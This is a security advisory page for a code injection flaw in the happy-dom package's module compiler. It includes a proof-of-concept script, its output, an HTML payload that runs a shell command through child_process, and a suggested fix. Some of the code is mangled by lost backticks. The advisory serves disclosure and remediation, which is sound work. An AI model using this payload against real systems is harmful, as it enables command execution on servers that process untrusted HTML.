CVE-2026-33943: Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

Published Mar 26, 2026
·
Updated

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDINGSTATEMENTTOKENREGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s,\s/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push($happydom.exports['${exportName}'] = ${importName}); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); }

The issue has three root causes:

1. STATEMENTREGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers 2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context 3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like childprocess survive the filter

Attack flow:

Source: export { require(childprocess).execSync(id) }

Regex captures match[16] = " require(childprocess).execSync(id) "

After .replace(/["']/g, ''): importName = "require(childprocess).execSync(id)" (backticks are preserved)

Generated code: $happydom.exports["require(childprocess).execSync(id)"] = require(childprocess).execSync(id)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// pochappydomrce.js

// Step 1: The STATEMENTREGEXP matches export { ... } const STMTREGEXP = /export\s{([^}]+)}/gm; const source = 'export { require(childprocess).execSync(id) }'; const match = STMTREGEXP.exec(source);

console.log('[] Module source:', source); console.log('[] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

console.log('[] importName after quote filter:', importName); console.log('[] Backticks survived filter:', importName.includes(''));

// Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = $happydom.exports[${JSON.stringify(exportName)}] = ${importName}; console.log('[] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript try { new Function('$happydom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); }

// Step 5: Execute to prove RCE console.log('[] Executing...'); const output = require('childprocess').execSync('id').toString().trim(); console.log('[+] RCE result:', output);

Execution result:

$ node pochappydomrce.js [] Module source: export { require(childprocess).execSync(id) } [] Regex captured: require(childprocess).execSync(id) [] importName after quote filter: require(childprocess).execSync(id) [] Backticks survived: true [] Generated code: $happydom.exports["require(childprocess).execSync(id)"] = require(childprocess).execSync(id) [+] Valid JavaScript: YES [] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module"> export { require(childprocess).execSync(id) } </script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios: - SSR applications: Applications using happy-dom to render user-supplied HTML on the server - Web scraping: Applications parsing untrusted web pages with happy-dom - Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALIDJSIDENTIFIER = /^[a-zA-Z$][a-zA-Z0-9$]$/;

for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

if (exportName && importName && VALIDJSIDENTIFIER.test(importName)) { exportCode.push($happydom.exports['${exportName}'] = ${importName}); } }

Other sources

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.

— MITRE

Affected Software

2 affected componentsFixes available
npm/happy-dom>=15.10.0<=20.8.7
20.8.8
capricorn86 Happy Dom Node.js>=15.10.0<20.8.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/happy-dom to a version that resolves this vulnerability.

    Fixed in 20.8.8
  2. Upgrade

    Upgrade happy-dom to a version that resolves this vulnerability.

    Fixed in 20.8.8
  3. Upgrade

    Upgrade happy-dom to a version that resolves this vulnerability.

    Fixed in 20.0.0
  4. Upgrade

    Upgrade happy-dom to a version that resolves this vulnerability.

    Fixed in 15.10.2
  5. Configuration

    Ensure happy-dom’s JavaScript evaluation is disabled. The material states the RCE is exploitable when JavaScript evaluation is explicitly enabled by the user in versions where the vulnerable path remains.

    happy-dom JavaScript evaluation JavaScript evaluation enabled = disabled

Event History

Mar 26, 2026
Advisory Published
via GitHub·10:22 PM
Data Sourced
via GitHub·10:22 PM
DescriptionSeverityWeaknessAffected Software
Mar 27, 2026
CVE Published
via MITRE·09:15 PM
Data Sourced
via MITRE·09:15 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·10:03 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33943?

CVE-2026-33943 has been identified as a high severity vulnerability due to its potential for Remote Code Execution.

2

How do I fix CVE-2026-33943?

To fix CVE-2026-33943, upgrade the happy-dom package to version 20.8.8 or later.

3

What specific component is affected by CVE-2026-33943?

CVE-2026-33943 specifically affects the ECMAScriptModuleCompiler component within the happy-dom package.

4

What type of attacks does CVE-2026-33943 enable?

CVE-2026-33943 enables code injection attacks that can lead to Remote Code Execution by injecting JavaScript expressions.

5

Which versions of happy-dom are vulnerable to CVE-2026-33943?

Versions of happy-dom from 15.10.0 to 20.8.7 are vulnerable to CVE-2026-33943.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203